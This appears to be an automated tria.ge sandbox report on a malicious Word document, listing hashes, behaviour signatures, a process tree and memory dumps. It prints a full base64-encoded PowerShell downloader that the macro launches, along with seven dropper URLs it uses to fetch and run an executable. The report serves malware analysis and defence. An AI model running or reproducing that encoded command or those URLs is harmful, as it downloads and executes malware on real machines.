Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    101s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28/09/2024, 09:56

General

  • Target

    fc0bde955acba33e38199d798b7efc20_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    fc0bde955acba33e38199d798b7efc20

  • SHA1

    b7b62a80275e5dc942c526ec6fb491420f420c1b

  • SHA256

    8937064c7ab860bfd3cba7621752a85796caa4092d34225474a42f0f6a5ce234

  • SHA512

    3d43fe8ef6bd2ecc1c8ce00dee9f18ff8a860f38fcf65a5be88bd229d3db03d5a2238b22b38d3443b253d1fc7be440072c6e92e263d066af01b937dd87d5cb57

  • SSDEEP

    1536:TB445TEgrO3jSWAg83tle1ZZ0293QM0eetR2cOupLB5UZ5F+a9lPzlnb3zSR:T22TWTogk079THcpOu5UZDP5b3zSR

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://jobcapper.com/8.7.19/hrS/

exe.dropper

http://scoomie.com/wp-content/uploads/mxjsB/

exe.dropper

https://blog.workshots.net/bibqcr9/Eki/

exe.dropper

https://hxoptical.net/wp-admin/91C/

exe.dropper

https://adidasnmdfootlocker.com/nc_assets/F/

exe.dropper

http://socylmediapc.es/tools/D7Ogq/

exe.dropper

http://lombardzista.pl/wp-content/r/

Signatures

  • Blocklisted process makes network request 14 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\fc0bde955acba33e38199d798b7efc20_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2716
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1080
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABFAGEAcAB5AHEAYQBkAD0AKAAoACcATgAnACsAJwBoAGsAbgAnACkAKwAnADcAZgAnACsAJwB1ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAGUAcgBQAHIAbwBGAEkAbABFAFwAVgBkAHIAUQB0AGUAcABcAFEARAA2AHIATgBCADUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAGAAVQBSAEkAVAB5AHAAcgBvAHQAYABvAGMAbwBsACIAIAA9ACAAKAAnAHQAbAAnACsAJwBzACcAKwAoACcAMQAyACcAKwAnACwAJwApACsAKAAnACAAdABsACcAKwAnAHMAMQAxACwAJwApACsAKAAnACAAJwArACcAdABsAHMAJwApACkAOwAkAE0AawAzAHMANQBhADgAIAA9ACAAKAAoACcAQgBnAGQAJwArACcAegBjAGEAJwApACsAJwAzACcAKwAnADUAaAAnACkAOwAkAFkANAB1AHEAcgBxAHIAPQAoACcASAAnACsAKAAnADUAdwAnACsAJwBqAHUAJwApACsAJwA1AGEAJwApADsAJABZAHgAXwB2ADgAcAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAAnACsAJwB9AFYAZAByAHEAdABlAHAAewAwAH0AUQBkACcAKwAoACcANgByAG4AYgAnACsAJwA1ACcAKQArACcAewAnACsAJwAwAH0AJwApAC0AZgBbAEMAaABBAFIAXQA5ADIAKQArACQATQBrADMAcwA1AGEAOAArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAFgAbQA1AGMAMQBzAHUAPQAoACcASwAnACsAKAAnAGcAMAAnACsAJwBlAHgAZwAnACkAKwAnAGoAJwApADsAJABHAHkAbABtAGsAcAB2AD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABuAGUAdAAuAFcAZQBCAGMATABJAGUATgBUADsAJABPAHEAYQA0AHgAeQB4AD0AKAAnAGgAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBqACcAKwAnAG8AYgBjACcAKQArACgAJwBhACcAKwAnAHAAJwArACcAcABlAHIALgBjAG8AbQAnACsAJwAvADgALgA3AC4AMQAnACkAKwAoACcAOQAvAGgAcgBTAC8AKgBoAHQAJwArACcAdABwADoAJwArACcALwAvAHMAYwAnACsAJwBvACcAKwAnAG8AbQBpACcAKwAnAGUALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcALwB3AHAAJwApACsAKAAnAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAvACcAKwAnAHUAcABsACcAKQArACgAJwBvACcAKwAnAGEAZABzAC8AJwApACsAJwBtAHgAJwArACgAJwBqACcAKwAnAHMAQgAvACoAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAYgAnACsAJwBsAG8AZwAuAHcAbwByAGsAJwApACsAKAAnAHMAJwArACcAaABvAHQAcwAnACkAKwAnAC4AJwArACcAbgBlACcAKwAoACcAdAAvACcAKwAnAGIAJwArACcAaQBiAHEAYwAnACkAKwAnAHIAOQAnACsAJwAvACcAKwAnAEUAawAnACsAKAAnAGkAJwArACcALwAqACcAKQArACgAJwBoAHQAdABwACcAKwAnAHMAOgAvACcAKwAnAC8AaAAnACkAKwAnAHgAJwArACcAbwAnACsAKAAnAHAAdABpACcAKwAnAGMAJwApACsAKAAnAGEAbAAnACsAJwAuAG4AJwApACsAJwBlACcAKwAnAHQAJwArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQAnACsAJwBhAGQAbQAnACkAKwAnAGkAbgAnACsAKAAnAC8AOQAnACsAJwAxAEMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAcwAnACsAJwA6AC8AJwApACsAKAAnAC8AYQBkACcAKwAnAGkAJwApACsAKAAnAGQAJwArACcAYQBzACcAKQArACgAJwBuAG0AZABmACcAKwAnAG8AJwApACsAKAAnAG8AdAAnACsAJwBsAG8AYwBrAGUAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBuAGMAXwBhACcAKwAnAHMAcwAnACsAJwBlAHQAJwApACsAJwBzACcAKwAnAC8ARgAnACsAJwAvACoAJwArACcAaAAnACsAKAAnAHQAdABwADoALwAnACsAJwAvACcAKQArACcAcwBvACcAKwAnAGMAJwArACgAJwB5AGwAJwArACcAbQAnACkAKwAoACcAZQAnACsAJwBkAGkAYQAnACkAKwAnAHAAJwArACcAYwAuACcAKwAoACcAZQBzAC8AJwArACcAdABvACcAKwAnAG8AbABzAC8ARAA3ACcAKQArACgAJwBPAGcAJwArACcAcQAnACkAKwAoACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoAJwArACcALwAvAGwAJwApACsAKAAnAG8AbQBiAGEAJwArACcAcgBkAHoAJwArACcAaQBzAHQAYQAuACcAKQArACcAcABsACcAKwAnAC8AJwArACcAdwAnACsAKAAnAHAAJwArACcALQBjAG8AJwApACsAJwBuACcAKwAnAHQAJwArACgAJwBlAG4AJwArACcAdAAvAHIAJwApACsAJwAvACcAKQAuACIAUwBQAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAGMAYwBrAHYAZAAxAD0AKAAnAFgANAAnACsAKAAnADUAMgBtACcAKwAnADQAJwApACsAJwB4ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAMABnADkANAB1AHIAIABpAG4AIAAkAE8AcQBhADQAeAB5AHgAKQB7AHQAcgB5AHsAJABHAHkAbABtAGsAcAB2AC4AIgBEAE8AVwBgAE4AbABvAGEAZABgAEYASQBsAEUAIgAoACQAWgAwAGcAOQA0AHUAcgAsACAAJABZAHgAXwB2ADgAcAA4ACkAOwAkAFIAMQBkAHEAYQBlAHkAPQAoACcARwB4ACcAKwAoACcAYQBsAHMAbQAnACsAJwBxACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAeABfAHYAOABwADgAKQAuACIATABFAG4AZwBgAFQAaAAiACAALQBnAGUAIAAyADIANwA2ADIAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAoACQAWQB4AF8AdgA4AHAAOAApADsAJABBADQAcwAyADIAMwA1AD0AKAAnAFkAJwArACgAJwBnADkAeQA1ACcAKwAnAHUAeAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBxADkAYwA0AHYAbQA9ACgAKAAnAFEAJwArACcAYQA5ACcAKQArACcAYwBwACcAKwAnAG4AdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAZwBtAF8AZQB0ADkAPQAoACgAJwBIADYAYgAnACsAJwAwADEAJwApACsAJwAzAHAAJwApAA==
      1⤵
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2772

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      95f1562f681ee3f164879af3f031e098

      SHA1

      e1e28518893b381d89912d5e388b6005a85e1b48

      SHA256

      6102ecc67da4ec4f441805f73be5b8a3b89e91cbb9c173923c37598487296e40

      SHA512

      701f7584035c1321829a525044e0a9547ecf7eae9feee071d6f0ffeca3a1fb9d0af0b92af5f6264006c8ee9ef2378032f9f4507c4c5833a7066a4f1ac7fbe6b0

    • memory/2716-29-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-31-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-30-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-6-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-7-0x0000000005CA0000-0x0000000005DA0000-memory.dmp

      Filesize

      1024KB

    • memory/2716-11-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-22-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-20-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-19-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-18-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-16-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-17-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-15-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-13-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-14-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-12-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-10-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-9-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-8-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-0-0x000000002FB11000-0x000000002FB12000-memory.dmp

      Filesize

      4KB

    • memory/2716-2-0x0000000073A5D000-0x0000000073A68000-memory.dmp

      Filesize

      44KB

    • memory/2716-32-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-5-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-28-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-27-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-33-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-26-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-25-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-24-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-23-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-21-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-71-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-70-0x0000000073A5D000-0x0000000073A68000-memory.dmp

      Filesize

      44KB

    • memory/2716-41-0x0000000073A5D000-0x0000000073A68000-memory.dmp

      Filesize

      44KB

    • memory/2716-42-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-43-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-44-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-45-0x0000000000660000-0x0000000000760000-memory.dmp

      Filesize

      1024KB

    • memory/2716-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2716-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2772-40-0x0000000001E50000-0x0000000001E58000-memory.dmp

      Filesize

      32KB

    • memory/2772-39-0x000000001B430000-0x000000001B712000-memory.dmp

      Filesize

      2.9MB